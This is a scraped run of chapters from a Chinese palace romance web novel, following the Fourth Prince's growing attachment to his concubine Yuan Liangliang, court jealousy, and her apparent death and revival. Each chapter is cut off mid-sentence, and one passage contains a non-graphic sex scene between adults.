正妃如实答。舒妃点点头,心下是真的佩服她这皇儿,心智之坚定,美人在前还能坐怀不乱。但她总觉得皇儿对那元家女应该不一般。 舒妃娘娘是不高兴四殿下宠幸元家女的,毕竟那样的狐魅。一个男人和狐魅扯上关系就一定不会是好事,更何况还是祁国皇子,是她毕生的希望。她不允许这种事发生。 正妃犹豫着,飞快瞧一眼四殿下,最终还是将难说的话出了口:“此事本不该让母妃操心的,实乃凝儿刚入府,不知该如何办。” 得到舒妃体谅,正妃才又接着说:“前几日,良夫人犯了错惹恼了殿下,殿下就要求良夫人同许侧妃一同学规矩,这事本应就此了结。但凝儿觉得还是有必要向母妃禀报一声,如若四皇子府后院将来还有此事发生,该如何是好?” 舒妃来回瞧瞧四皇子和正妃,问:“良夫人做了何事惹恼了我们四殿下?” 正妃欲言又止,四殿看着他母妃,主动揽过回话:“和侧妃一样,跳了支舞。” 正妃惊诧他竟说得这般轻描淡写。她想说哪里一样,侧妃的剑舞是可以正大光明给人瞧的,良夫人那……那是花满楼的做派。她虽没看到,但也有听说,良夫人都脱光了在陛下面前献媚! 正妃不经意和四殿对上眼,触及那平和下审视的眼神,她回眸,正襟危坐。 正妃不知道殿下出于什么考量,竟从未在菡萏院留过子时。但她是女子,她们还共有同一个丈夫,种种迹象表明,殿下就是对良夫人和对旁人不一般,哪怕这个旁人是她这个明媒正娶的正妃。 舒妃想到四殿下的不解风情,也就了然,没再追问。只是这回没有再提起四殿下罚得过重这等话。 正妃琢磨着想将良夫人这朵妖冶的小火苗在燃起来之前掐灭。她玩笑似的和舒妃说:“说来良夫人也怪可怜的,她竟被子喜子悦两位嬷嬷连着三日打了手心,第四日手肿的可怕,殿下还给请了医女诊治。” 这让舒妃意想不到,子喜子悦可是从宫里出去的,能走到这一步,手下还是很有分寸的。舒妃明白过来这话的另一个含义。沉脸说:“那元家女是不是没好好学规矩?否则子喜子悦看在四殿下和份上也不会轻易动手的,更何况把人打到请医女的地步?” 四殿心里虽觉得正妃说的是实情,但他就是很不悦。 正妃摇头:“良夫人有没有好好学,凝儿不得而知,不过此事说来也真是奇怪。良夫人好歹是五品官之女,听闻在此之前,良夫人都不知女戒女训为何物。这两本书,不止官家女,但凡认过些字的普通百姓人家都会买来通晓一二。” 舒妃摇头再摇头,说了句和四殿先前说元良良时一样的话:“这元家究竟是怎么教女儿的?” 四殿听舒妃说这话,脸上尤带着不悦道:“女戒女训也并非一定要大家闺秀去通读,也包括一个五品官之女。好的书多了,她完全可以选择自己喜欢的。” 四殿这话并非完全他所言,只是借用了前朝一位德高望重的大臣之言。大臣名叫梁牧,在陛下登基不久便已告老还乡,后来靠着才学和声望成了人人想拜访的大儒。听说大殿下和二殿下都在数年前去大臣家中送过礼,只是都全数被人家里退了回来。 舒妃哑口无言。 正妃意识到四殿在袒护元良良,心中愤慨无比,表面虽不显,只是说:“听闻良夫人还是今年才过继到元大人嫡妻名下的,在这之前良夫人及良夫人亲母一直被关在元家老宅。貌似是良夫人生母犯了一点错,是以在良夫人几岁的时候就被元大人送走了。良夫人没学过规矩倒也在情理之中。” 此话一出,舒妃惊愣了。 四殿都诧异,只是他马上又拍桌而起,怒喝正妃:“母妃宫中,岂容你放肆多话!” 正妃被吓到,手里的茶不停晃。这还是四殿第一次向她发火,竟是为了一个登不上台面的侍妾。 由于四殿的怒火,舒妃不敢火上浇油,只是留了心。而正妃段凝见舒妃都不出头说话,她自是不敢再多言。 出宫回府时,四殿独自快步走在前,四皇子妃由身边侍婢搀着小跑跟在后头。平日四殿还是给足正妃面子的,两人进宫出宫都是并肩而行,今日却是例外。 元良良在元府的境况出乎四殿意料,要是正妃不说,他还真不知道。可能此生都不会知道。 是呀,一个几岁的小丫头跟着戴罪的娘亲被送回人生地不熟的老家,元家老家那些亲戚又会怎么对待她们母女,四殿光想象就能知道。别说学大家小姐的礼仪规矩了,呵,恐怕吃顿好的都不会容易。 近十年,她在那里都经历了什么?四殿突然有些不敢想了。 走进菡萏院,她那个叫春雨的丫头迎出来,说她去跟嬷嬷学规矩了。四殿想起来她之前说不想学规矩,还跟他耍赖来着,他没同意。 四殿转身,脚步不动,又回头:“你怎么跟了夫人的?是元家的家生子?” 春雨不敢随意回答,再三思索后,才恭敬答:“奴婢是姑……夫人在……路上捡的,并非元家的家生奴仆。” 春雨只答了一半实话。她是六岁时被家里人丢弃在临沅老家的后山上,被偷偷上山放风的姑娘捡了回去,从此她们过上了相依为命的生活。对姑娘来说,这种生活不是人过的,但对她来说,遇到姑娘后每一天的日子都是幸福安生的。 春雨不敢说她们在临沅老家的事,直觉被人知晓,一定会惹大麻 11. 拾壹 《贵妃太爱朕了怎么办》全本免费阅读 元良良抱着殿下胳膊,问:“以后是不是不用学规矩了?” 四殿下:“规矩还是要学的,只是不必专注嬷嬷教的那两本书。”他又加一句,“该抄的还得抄,该背的还得背。” 元良良无语了。那把嬷嬷赶出府的意义何在?想想,她不用受罚也是好事一桩,马上又高兴起来。抱着殿下胳膊摇啊摇:“殿下怎么这么好呀。” 这……这什么女人? 从没被女人调戏过的四殿下无语了,内心从未有过的慌。这要换了外边的女人,他早动手赶走了,可眼前的是他的良夫人。 他想想,良夫人要亲近他,也是理所应当。 那……行吧。 从宫里出来后,这一日,四殿过得跟有人将他往火上架一般痛苦难忍。 正妃在舒妃面前多嘴,嬷嬷教不来规矩,包括良夫人并非元家嫡女的事,他都有办法应对,只一点。 四殿实难为情,尤其还要他主动去提起。向来杀伐果决的四殿觉得自己必须要鼓起这个勇气。 菡萏院。 元良良瞧见一朵歪着脑袋的红白相间的牡丹花,她摘下塞到四殿手心。 乖巧说:“殿下既不喜欢良儿跳舞,那以后只给殿下献花如何?” 四殿没想到好的说辞,于是选择不回答。捏着花骨朵半晌,四殿问:“良儿可有怨过本殿?” 元良良一时没想起来有啥值得她怨的。经过刚才,殿下从嬷嬷手底下将她救出来这一遭,元良良对她家殿下就只有爱。元良良实话说。 四殿又被表白了,虽然她不吝啬说爱慕他的话,四殿下每回听到,内心还是挺激动。这回直接憋红了脸。 四殿想问爱他哪里,又想万一她说只爱他的一个眉毛或者一个眼睛,而不是全部,怕自己会接受不了。于是就不问了吧,且当她是爱他浑身上下全部,包括也爱他的心。 “本殿很后悔,选妃那日。” 只一句话,元良良瞬懂。 元良良惊讶,他会说这个话。她以为像他这样的皇族贵公子要面子,哪怕做错了事,也只会硬着头皮傲娇说自己没错。 “你不会还想让本殿说后悔哪里吧?”四殿不满斜睨她。 元良良想摇头,就见殿下紧接着又说:“那天说绝不会迎你进府,本殿就很后悔,一直从迎你进府那天后悔至今。所以,一直也不敢碰你。”他后悔,悔死了。 “还有,不该用那些刻薄的话伤良儿。”四殿下和她商量,“就当本殿没说过,成吗?” 元良良表示她都已经不记得他说过什么了。 四殿不信:“不可能。”别人背地里骂他被他发现的,他都记得一清二楚,不报仇不代表不记得。 元良良只好苦着脸解释说:“良儿小时候因为长得实在太漂亮,总会遭人妒忌。那些人口不择言骂我狐狸精狐媚子,勾人的玩意,什么勾栏院都容不下我等等,太多太多了。许是被骂得多了,心里装不下了。” 元良良望着殿下,感动:“可是,只有殿下会对我说后悔。殿下的这句话,良儿会永永远远记在心里。” 四殿将手里的花戴在元良良头上,元良良于是又给他摘了一朵,挂在他的衣襟上。远一看,有点像新郎官,让元良良想起了殿下一身喜服迎娶正妃的那天。 四殿想问她刚才的话何意?究竟什么人这么大胆竟敢骂她,还没等问出口,就被一只手五指相扣拽住了。 这个姿势让从没与谁牵过手的四殿下很是羞耻,于是忘了要问的话,亦步亦趋随着进屋。 元良良问戴着红花的殿下:“殿下,今晚要留下用饭吗?” 四殿点头:“好。” 元良良又问:“那殿下今晚要留下吗?” 四殿难得弯起嘴角,笑容和煦,脸上还有一丝可疑的绯红:“定然,幸不辱命。” 元良良笑容顿了顿,觉得他这话不怀好意。但她的殿下可不是这种人。 晚膳大多是元良良爱吃的。自从殿下新招了几个厨子,膳房的伙食一下子有了突飞猛进。只要她想得到,没有膳房做不出的。 元良良夹了一块东坡肘子递过去,殿下示意放进他碗里,元良良执拗举着,于是四殿在有些为难和窘迫之下咬了一口。味道很好就是他不知道哪里好。 四殿下是不习惯与人如此亲近的,哪怕小时候住母妃宫中,他们也极少一桌吃饭,更遑论互相喂饭了。等他会说话,几乎都是自己吃饭,舒妃娘娘对他十分严厉。 元良良又给他剥了一只虾,四殿下生疏的张嘴含下,不小心含了女人的手指,他愣住。等他吃下良夫人递过来的第十二只虾肉时,他已经十分熟练的张嘴了,哪怕唇齿碰到女人的手指,他也可以镇定自处。 晚膳后,四殿提出要沐浴,良夫人去问幺平拿殿下的衣服,返回来,走到殿下跟前,伸手去给殿下解衣服扣子。 元良良以为脱个衣服不会出错,结果衣服没解开,倒把自己的指甲扣坏了。她急得手都在抖,还咬牙切齿嘀咕,晶亮的眸子盯着扣子,让四殿下觉得下一刻她要张嘴咬他。 四殿觉得好笑,然后就真的笑了。元良良抬头瞥他一眼,殿下的笑容收了收。最后还是殿下自己脱了外衣,良夫人觉得丢了脸面,坚持里面那件她来。 然后……这一脱,就把殿下给剥光了。 幺平捧着衣服进来时,就见他家殿下全身上下只剩一条亵裤。这有些猴急的模样,幺平是见所未见的。幺平放下衣服赶紧退下。 四殿盯着眼前属于他的女人,他再不犹豫,一把将人抱起,便上了床。 元良良搂着人脖子:“殿下不是要洗澡吗?” 殿下啃脖子的动作一滞。怎么办?他好像忘记了。 元良良摸着他光滑的背脊爱不释手,眼波流传,语带含羞说:“我也不想洗,只想跟殿下一起。” 四殿下听到这话,心情激荡,一股热血只冲下腹,他嫌女人脱衣服慢,自己动手,三两下除干净。 被进入时,元良良倒吸一口凉气。被殿下摸着很舒服,她摸着殿下也很舒服,她以为就是很舒服的,结果并不是。 元良良哭着叫疼时,脑子里还想起了勾栏院春花姐姐的话:“第一次会疼是正常的,第二次就舒坦了。你也舒坦我也舒坦大家一起舒坦。” 可能是她反应太激烈,四殿下第一次结束后,就没再继续。元良良想着,要不要她主动点,第二次应该就舒服了。可明明殿下离开了她,她下边还是很痛,她真的没勇气。可让殿下扫兴多不好。 想着想着,她竟然就睡着了。 四殿下转头看着梨花带雨的小脸,有些好笑,又十分心疼。 子时过后,幺平来问他要不要起身回书房,四殿下下意识要支起身,才发现胳膊被人抱住了。他低声说:“不用。” 今日要上朝,四殿只眯了一小会儿,到了时辰就自发睁眼。他小心将女人的手拨开,一根手指一根手指,就怕弄醒了她。结果还真吵醒了。 元良良睁眼。 见她醒来,四殿便要解释:“今日要……” 他话才出口,结果他就被人骑在了身上。那女人还是昨晚光着身子的模样,滑不溜秋,一下钻进他怀里,并在他耳边小声嘀咕了句。 四殿下睁大眼,不敢置信她竟然能说出那种下作话。 “放肆!” 元良良在他怀里拱着蛇一样的身体:“殿下,就让良儿试试看嘛,现在已经不疼了。” 女人极致滑腻的触感,娇娇媚媚的声音,无不是在勾引人。知晓人事后,四殿下还是头一回感受到难耐的躁动,他自不能忍。 于是乎,从未缺 12. 拾贰 《贵妃太爱朕了怎么办》全本免费阅读 幺平将正妃的话原封不动转达给四殿下,四殿下动作不停,等一套枪法耍完,停下擦汗时才说话:“既然正妃没意见,那随她吧。” 幺平见他没有要说下去的意思,硬着头皮主动问:“那殿下要去正妃院里吃饭吗?” 四殿内心不想去,然而,他这个当家的总要在自家后院露露相的。“去,总要去的。” 幺平想念殿下没娶亲的时候了,那时候他跟着四殿下院前院后随意出入,日子潇洒自在,如今可好。他一开始还以为只有自个和王子福会不适应,没想到殿下面对自己的女人竟然也如此的不适应,也是不可思议。 ... 正妃派人来请她去正院用晚膳,元良良一想就知道没好事,就让春雨去回了人家。结果菡萏院的主事丫头调香焦急说:“不行的夫人,正妃请夫人去吃饭这是命令,您是不能拒绝的。” 还有这规矩?元良良回忆,貌似元家的老嬷嬷确实有说过此条规矩。只是她没用心记,所以也忘得快。 元良良只担心一个问题,一脸纠结问:“该不会以后每日都要上正妃那去用膳吧?” 调香一本正经的样子像极了某个殿下:“如果正妃有要求,您是必须要过去伺候的。” 春雨不愧是她的小棉袄,给元良良出主意:“姑娘,正妃要真敢怎么着,你就晕倒,到时候我跑出去找殿下过来救你。” 调香听到这话,一个头两个大,赶忙说:“既是正妃开了口,殿下应当也会去。” 元良良听出弦外之意,脸色有些不自然,问:“殿下很喜欢正妃吗?” 这话,调香不知道如何回答,于是直接说:“奴婢不知。” 元良良心里有些不顺,又问:“殿下常去正妃那吗?” 调香回:“初一十五是规定要去的。” 元良良知道自己不应该,她进府的第一日就想到了的。人家才是夫妻,正妃看到她不爽才是情理之中,她算哪门子,吃醋还能吃到正妃头上去?但她就是忍不住要心酸要难过。 元良良就带着这样化不开的心伤去了正院,她过去时,两个侧妃都到了,也正相顾无言。 看到她进来,行礼后就十分自然的落座,许昕蕊道:“良夫人,敢情两位嬷嬷的规矩,你还是没学明白。正妃面前,你一个侍妾有什么资格坐下?” 元良良看了眼正妃:“正妃娘娘让我坐的。” 许昕蕊阴阳怪气道:“那是客气,让你坐你还真就坐下了?也不想想自己是个什么身份。侍妾就是奴婢,在主子面前,奴婢就要有奴婢的样子。” 元良良心里本来就不顺,她气头上直接顶回去:“那侧妃倒是说说,我要怎么做?要不然侧妃教奴婢下?” 许昕蕊眉梢微挑,倒没被激怒,还一口答应:“好呀。你先在院外跪上半个时辰。这是主子对奴才敢顶嘴的处罚。” 元良良知道自己再说都是处于下风,谁让她身份不如人呢。她没心情再理许昕蕊,看着正妃问:“正妃不是传……奴婢来院里吃饭的吗?难道不是吗?” 正妃看了元良良一眼,之后面带微笑干自己的事情去了。 还是许昕蕊在旁说话:“正妃凭什么传奴婢来正院和主子们共同吃饭?让你来,是想看看你规矩学得怎么样,配伺候殿下吗?” 元良良火气上来,又有点无从发泄。她打量正妃始终不吱声,明白这几个女人是故意合伙刁难她。 她也故意说:“奴婢配不配伺候殿下,你们去问殿下呀?殿下才是府里最大的主子,是与不是?” 正妃听到这话,终于盯着元良良,保持着正妃的端庄,和颜悦色道:“你是觉得许侧妃冤枉你了不成?你在本妃这没有个侍妾的样子,就连伺候殿下,就一晚上,害得殿下早朝都晚了,你还觉得自己受委屈了?本妃就算真的要罚你跪半个时辰,信不信殿下也不会说什么?” 正妃说得言之凿凿,元良良心里更堵了。她垂下头去,没一会儿,又看着正妃,不甘心道:“既然这样,那正妃娘娘请我来干嘛,各自躲在各自的院子里,眼不见为净不就好了?” 正妃端出主母的架子:“这就是你学的规矩?” “确实没规矩。” 听到声音,元良良回头,就见四殿下迈着方正的步子进来。 他这话几个意思?是他要偏心正妃的意思? 元良良只觉心痛心碎,她在四殿走到身边之前,头一扭,偏向了没有殿下的另一边。 四殿下没有看她,只是目光沉沉望着正妃:“不是说用膳吗?” 等正妃侧妃起身迎他,他才在三个女人恭顺的服侍下坐上餐桌主位。 元良良瞅着这应礼应份和谐的一幕,她真想就此晕过去算了,可天不随她愿。 说是叫她来吃饭,殿下没有搭理她,正妃也没有准备她的碗筷,就连椅子都不多一把。不过元良良本来也不想和她们一起,她看着难受。 昨日还好好的,要一直像昨日一样多好。可那是殿下,不属于她一个人的殿下。他要顾忌正妃的感受,要尊祖宗礼法。正妃的话其实也对的,殿下因为他迟了早朝,这不是小事,也许因此他还被陛下罚了,再严重点,影响整个四皇子府也说不定。 正妃不仅比她家世好,还比她有头脑。应该没有一个男人会为了一个侍妾和自己的正妃过不去。更何况,还是最注重礼仪规矩的四殿下。 她,没有办法。 许侧妃见四殿下竟然没有帮元良良说话,她得意笑。去看元良良:“良夫人是不是不该站在那?” 元良良走过去,和布菜的婢女站在一道,低眉顺目,和平日乖巧中带着狡黠的模样十分不同。 四殿下有些矛盾,既希望她甩袖离开,又想着她最好是知些礼数,对她将来也好。见她听话站着,四殿下硬起心肠道:“书上的规矩道理总不如亲身体会让人更深刻,良夫人就看着旁人如何行事的,以后也不至于出错。” 这顿饭持续了多久,元良良的眼眶就红了多久,她垂着头,但要不被发现也不可能。 桌上三个尊贵的女人无不是得意喜悦居多,正妃虽脸上不显,心里却知道殿下果然还是最重礼数的,再喜欢的女人,也不会越过他心里根深蒂固的礼法。 四殿下这顿饭吃的是食不知味,他心里眼里竟都是这女子红透了的眼睛忍泪的样子,他只觉笑话。不就是帮着家中布个菜,也不是要她天天如此,她回到自己的院落她还不是霸王,怎么需要这么伤心吗?那外边别人家的侍妾不都是这么过来的吗? 饭毕。 正妃亲自服侍四殿漱口洗手。 两位侧妃心里不爽,鄙夷正妃连侍妾的活都抢。看到良夫人泫然欲泣,不知所措的模样,她们心里却又舒坦了。 正妃温柔浅笑下藏着克制的娇羞,问四殿:“殿下,还记得十五吗?您没过来妾身这,您说过会 13. 拾叁 《贵妃太爱朕了怎么办》全本免费阅读 四殿下只听到“哐啷”一声响,转头,就见良夫人已经没了身影,那只金色铜盆反扣在地上,水流了一地。 四殿面色铁青。好一会儿正妃手摸上他的手臂,他忽而反应。 四殿躺在床上闭目出神,正妃见他如此,有些失望,但好歹他没追出去,正妃又替自己高兴。她也闭上眼,信着来日方长。 丑时,无需幺平唤,四殿已经起身,穿戴整齐后踏出卧房。 幺平候在门口,有些欲言又止。然而幺平还是没说。良夫人立在正院门口,有什么好禀报的,本就是伺夜的侍妾。 四殿出正院大门时,就见良夫人蜷缩着小小的身影,正靠着门边发呆。眼眶依旧红红的。 四殿脚步顿住,居高临下问:“怎么没回去?” 元良良仰头看他,打量他,她在考虑以后要用什么样的姿态面对他。可是如果装作冷漠,她情不自已露馅了怎么办。可是如果任由自己下去,她的心就真的收不回来了。也许她会像话本中说的那样郁郁而终。 元良良站起身,腿有些麻,她踉跄了下,四殿下伸手扶她,她往后一缩,躲过了。 四殿下伸出的手还未收回,他忍着怒火:“作甚?” 清冷月光下,良夫人昂着清丽倔强的面庞,道:“我不想今日的殿下碰我。” 幺平心间一跳,这话是能随便说的吗?这良夫人哪。幺平瞥了自家殿下一眼,默默退远了好几步。 四殿下怒火中烧,本想训斥她一番,话到喉间,他顿住。女子白皙面庞上滚落的泪瞬息浇灭了他心底的火。 “良儿既入了这府里,自当和旁人一样要守府里的规矩,以后慢慢习惯就好了。”四殿下从没安慰过人,他自觉这就是了。 谁知良夫人没有好转的迹象,眼泪更汹涌夺眶而出。他别扭说:“良儿要觉得规矩太难,不学就不学了吧。” 元良良在四殿再要伸手过来之前,她一福身,转头飞快跑远不见。 ... 四殿下这晚愁得一夜未眠,他不懂,他的良夫人如何这么折腾人,莫不是这世上所有侍妾都是这样的? 下朝后,四殿主动和大殿一同出宫,大殿看着他笑说:“难得见四弟表现出与往常不一般的神情。为兄好奇得紧。” 四殿没等大殿问,已经开口:“大皇兄府内侍妾表现如何?” 大殿下闻听此言,愣了愣,不懂他此话何意。见他表情郑重,勉强想了想,说:“俏皮活泼、美艳动人、清冷优雅、腼腆羞涩,都各有千秋吧。” 四殿觉得大殿曲解了自己的意思,于是琢磨着,再开口:“臣弟意思是,她们就没有叫皇兄为难的时候?” “让本殿为难?”大殿下不可置信,笑着摇头道,“既为难,冷落了便罢。” 四殿犹豫着,问:“若不舍呢?” 大殿朗声笑,毫不迟疑道:“又何不舍?这天下女人多得是。你我兄弟又是这大祁国除陛下之外顶尊贵的,要什么女人没有,就算找两个一模一样的,也是轻而易举的事。” “是吗?”四殿边往前走,边想着这世上真会有一模一样的另一个良夫人吗? 倘若找不到呢? 四殿想着,不舍也肯定是暂时的。就像大殿说的,兴许冷落一段时日,良夫人不至于如此,而他四殿下也不至于如此荒谬放不下一个女人了吧。 故这几日,四殿再没登菡萏院的门,而良夫人也没主动找过他。她之前还会让那叫春雨的丫头来看看他都在干什么,这几日连丫头也没来。四殿下很郁闷,但他不表现出来。 ... 菡萏院。 自从两天前的深夜从正妃院里回来后,元良良就一直在床上睡觉。两天,除了被春雨拖起床喂一点饭,就一直闷在被窝里。 春雨知道她难过也就不阻止,只是这都第三天了,啥时候她姑娘才能恢复正常呀。 元良良不知道自己是做梦还是幻想,总之这三天,她迷迷糊糊脑中就一直回荡着从前的画面。有在元府的,有在临沅老家的,也有皇子府的。 她看到了小时候也曾是嫡小姐的自己,穿着体面的花衣裳,娘亲往她手里塞她心心念念的糖葫芦,她跑着跑着摔倒了,姨娘生的大姐姐将她扶起来,用香喷喷的帕子给她擦手。 她看到她和娘亲坐在马车里,娘亲在哭,她也跟着一道哭。 她坐在一道破烂的门槛上,望着走廊的拐角,等着爹爹出现,只是从没有等到过。 她看到了好多打扮华丽的少女,然后她看到了被女人簇拥着向她走来的四殿下,她认出来,那个人是她喜欢的男子。她想打招呼,想拉住他,但他一个眼神都没有给她,只顾和女人说笑着从她身旁走过。 男人眼里充斥着厌恶,语气凉薄:“本殿最讨厌像你这般不知羞耻的女人,本殿就算会纳天底下所有女人入府,也不会是你。” 元良良睁开眼,她摸摸脸上,果然一片湿润滑腻。她觉得身上热得很,于是果断掀了被子,坐起来打算找口水喝,然后她就看到了站在院中,正默默望着自己的四殿下。 她等不及穿鞋赤脚蹦过去,将窗户推得更大些。果然是殿下,她没看错! 一瞬间她眼睛亮起来,马上又笑成月牙。 四殿下之所以半夜偷摸来,就是不想被她发现,结果谁想到被此女逮个正着。四殿觉得脸上无光,正打算跳上墙头原路返回,就被眼前一幕吓到。 她竟然开始描眉化妆。 四殿下想,算了,既然被发现了,再走也没意义。四殿下决定进屋劝她别折腾了,还是早点睡的好。 四殿进屋,元良良喜笑晏晏转头问:“好看吗?” 四殿看她两颊红扑扑,眼睛晶亮,唇色晶润,想说好看,忍住了,只平静道:“太晚了,早点睡才好。” 元良良嘟起红艳艳的唇,脸上多了丝委屈,说:“我都睡了三天了,睡不着了。” 四殿皱眉,刚想问,听到她又神秘兮兮说:“殿下,我做了好多梦,有开心的,但更多的是不开心的。你想不想知道?”不等殿下反应,她又继续,像是自言自语,“我看到好多穿着漂亮衣裳梳着漂亮发髻的美人,殿下对她们笑,殿下一定很喜欢她们。殿下看良儿,是不是也长得还行?” 元良良拿起梳子,开始绾发髻,但她挽不好。折腾了几下只能放弃了。她忍不住泪流满面。 四殿烦躁,下意识走近她:“怎么又哭了?”他有了想给她擦眼泪的冲动,并且想抱抱她。四殿想着就这么做了。他将小小的女子搂进怀里,满足喟叹。 元良良靠着他,眼神空泛,似在回忆:“我梦到殿下很生气,说永远不会娶我,不,是纳我。殿下有这么讨厌良儿吗?” 四殿心想,就说嘛,她不可能忘记此事的。尤其现在他还知道她这么小心眼的一个女人,更不可能忘记了。四殿叹气,亲了亲她的鬓发,细语道:“本殿有道歉的,你莫不是忘了?那我再说一遍,本殿后悔了,后悔对良儿说过那么过分的话,希望良儿能谅解。” 元良良怔 14. 拾肆 《贵妃太爱朕了怎么办》全本免费阅读 去找王总管的两个丫头一并回来,其中一个说王总管出去采买,要隔日才回得来。 去找殿下的婆子这时候也气喘吁吁一瘸一拐跑回来,说是在路上遇到门房的,确定殿下还未回。 调香等不及,拉住一个小丫头,往院门外跑:“走,去找皇子妃。” 调香带着小丫头跪在正院门前,特地强调了良夫人病得尤其重,想请正妃差人去御医院请御医过来给良夫人瞧瞧。 玄珠出来回话:“正妃说了,良夫人病拖不得,她自会派人去御医院请医女,你们且回去等着吧。” 医女?医女只不过是给太医打下手的,顶多和自己一样把把脉,出个最常见的药方而已。调香即可反应:“不行啊,我们夫人已经探查不到脉搏了,是真的病得很重。医女看不了,还请皇子妃娘娘务必请个御医过来。”调香匍匐在地。 玄珠心想只不过是个侍妾,有资格请御医吗?让正妃出面,她好大的脸。嘴上却道:“良夫人毕竟只是一个夫人,我们娘娘恐怕是请不动御医们。这事恐怕还要殿下出面才行。” 调香知道再说无用,她一谢再谢后起身匆匆离开。调香让小丫头去门房候殿下,也不用寻机会找幺平,直接和殿下禀报即可。 调香回到菡萏院,春雨一脸狼狈跑出来,跳脚吼:“大夫呢,大夫怎么还不来?都这么久了,你们四皇子府怎么会区区一个大夫都请不来?” 调香揽住她肩膀,让她冷静,说:“皇子后院是不能请民间大夫看诊的。我已经去找了皇子妃,皇子妃会进宫请医女过来,你放心吧。”调香劝人放心,实际上自己都还如热锅上的蚂蚁。 春雨不傻,不用调香说,也能明白一些事。然而她想不到其他办法。 午时,医女才赶到四皇子府菡萏院,调香见人提着药箱,缓步轻移的模样,她看不下去,直接拽着医女的手进屋。 医女不满眼前婢女的粗鲁,只是表面不显,给床上的良夫人把完脉,她淡定收拾药箱,头也不抬说:“你们夫人已经不行了,还是通报皇子妃,准备后事吧。” 春雨不敢置信,抱着医女的手不撒开:“你是御医院的,一定有法子的,求你救救我家姑娘吧!” 医女平常要么给御医打下手,要么就是被请到宫外给一些贵人家的后院姬妾瞧病,她见得太多后院女子的生死,那些无名无分的女人生病或者死去时,身边几乎都没人。 医女觉得这小丫头还挺衷心,她有点被感动,不经意就说了句实话:“我只是一个医女,治不了夫人的病。”见小丫头难以置信伤心欲绝,她又艰难补充,“我有一个办法。你们去跟府上管事或者正妃说,就说夫人死了,让人抬出府,再去找大夫。” 她说最后一句时,看着春雨说的。她的方法也是因为从前碰到过。一次工部侍郎府的姬妾被诊断染了急症,侍郎原配夫人怕传染就让人裹了抬出去,结果那姬妾命大,碰巧遇到一大夫,给救活了。 调香坚持要等殿下回来,春雨自己去抱床上的姑娘,调香一咬牙,冲到门口让人禀报正院,就说良夫人去了。 正院。 正妃听到菡萏院婢女的禀报,手一抖,头上还未插稳的步摇就掉落在地。玄珠捡起来,擦拭干净,想亲手给正妃戴上,正妃扬手阻拦。 正妃是害怕的,但很快喜悦之情盖过了害怕。良夫人又不是她害死的,她为何要害怕? 得知良夫人生病,她也即可去御医院请了医女,算是尽了皇子妃的本分,最终还是死了,怪谁? 门口有话传入:“菡萏院说,是良夫人生前亲口要求的,她死后不要在皇子府,想出宫去。” 正妃想,死人的遗言她当然是要照办的。 ... 今日四殿下早朝后,又和大殿下被叫进了御书房,等出来,郁闷的大殿下想四殿下陪自己一醉方休,四殿下刚好也不想回自个的皇子府,于是欣然答应。 接近傍晚,守在酒楼包厢门外的幺平接到了府里传话,他听到的一瞬间,觉得是自己耳鸣听岔了。等到确认说良夫人连人都被抬出府去时,他面色郑重,心知出大事了。 幺平推门进去,大殿刚好和四殿讲二殿那些不为人知的笑话,四殿见幺平突然出现,严肃道:“谁允你进来了?” 幺平顾不得许多,站在原地说:“夫人没了。” 四殿一时没听明白说谁,只皱眉看着他。幺平咽了咽唾沫,才又重复一句:“是良夫人,没了。” 四殿语气从容,压根没往那想:“没了,什么意思?” 幺平:“死了。” 四殿觉得自己喝多了酒,有些醉了,所以“死了”这两个字他都有些无法理解了,他不觉低语,“死了?什么意思?” 大殿下当真以为四殿喝醉了,担心问:“四弟还好吧?今日怎么没喝多就醉了?”又问幺平,“良夫人?是四弟府上的侍妾?不过一个侍妾罢了,四殿下喝多了,让他先在此地休息会儿。” 大殿下手还搭在四殿肩膀上,然后大殿下诧异看着四殿下一头冲出了门,要不是幺平眼疾手快拦的那一下,恐怕要翻下走廊边的围栏,后果不堪设想。 大殿下看呆了,马上想到刚才提起的良夫人,心想要不是四殿真的喝多了,那就是良夫人在四殿下那份量不低。 “死了……”四殿下如穿了百斤盔甲般四肢无力往前挪动,他无法想象“死”这个字会和那样活力淘气的女子有关。 四殿下瞬间抓住幺平手臂:“本殿昨晚还见到她好好的,如果不是你听岔了,就是禀报的人恶意假传。知道后果吗?” 幺平从未见殿下露出过如此骇人的神情,他连忙跪下,回话:“来人是正妃身边的,说是良夫人一早发热,请宫里医女来时,已经不行了。” 四殿下爬上马车时脚打软,膝盖磕在车辕上,好不容易进了马车,令幺平回府。 幺平杵着不动,没一会儿才又跪地道:“良夫人生前表示死后不愿呆在府里后院,是以她身边丫头春雨将她送出府了。这会儿应该已经不在府上了。” 她不愿呆在他的府里?她竟小心眼到此种程度。四殿不由冷笑。果然某个女人规矩永远学不好。 “小女心仪殿下,哪 15. 拾伍 《贵妃太爱朕了怎么办》全本免费阅读 “回府。” 马车内,四殿下命令。 幺平坐上前室,眼神示意春雨赶紧上来。 春雨急得上蹿下跳,只是她有些怕殿下,不敢说话。 幺平自以为懂了她的意思,深呼吸口气,回头与四殿下道:“殿下,既良夫人生前说了她不愿意回府,要不然我们就找一个鸟语花香的地方将良夫人安置了吧?” 四殿沙哑的声音传出:“不能够。在外边本殿不放心,她要永远和本殿在一起。”她既死了,那她就做不了主。 幺平心惊,随后无奈冲春雨摇头,表示爱莫能助。 春雨眼泪哗哗掉,捏着拳头爬上马车前室。幺平以为她要做傻事。当着一个手无缚鸡之力的女儿家,幺平真是为难死。心想他要怎么把她丢下马车,才能让她少受点伤。 却没想到,春雨隔着纱帘就跪在那磕头不起。 “殿下,我姑娘虽然只是您的一个夫人,但她聪慧漂亮,活泼善良,奴婢不忍心她。不能请御医,至少让奴婢给她找个大夫瞧瞧吧,大不了不用皇子府的银钱,奴婢自己出。” 幺平觉得这话有点古怪,低头去瞅那傻丫头哭花了的脸。 车内的四殿下闻听此言,先是呆了呆,而后才伸手去探怀中女人的劲脉、他感觉到那清晰的温热的跳动,激动之余又忍不住掉了两颗金豆子。 失而复得的感觉让四殿下觉得奇妙难言,只感觉活过来的是他四殿下一样。 他也死而复生了。 四殿下又惊觉,原来这个女人在他心里如此重要。他心情又变得复杂。 马上,四殿下有了决断:“今日张院判休沐,直接去敲他府门。” 殿下好,他才好。幺平兴奋答了声“是”,一手扶稳了春雨,单手娴熟驾马往前。 要说四殿下是怎么知道张院判休沐的,这个还要从陛下那说起。原本陛下召见大殿和四殿是有急事商量,谁知宫里有位高婕妤病了,陛下就说让张院判去瞧一瞧,谁知那张院判休沐,陛下一怒之下急事也不管了,自己亲去看高婕妤去了。 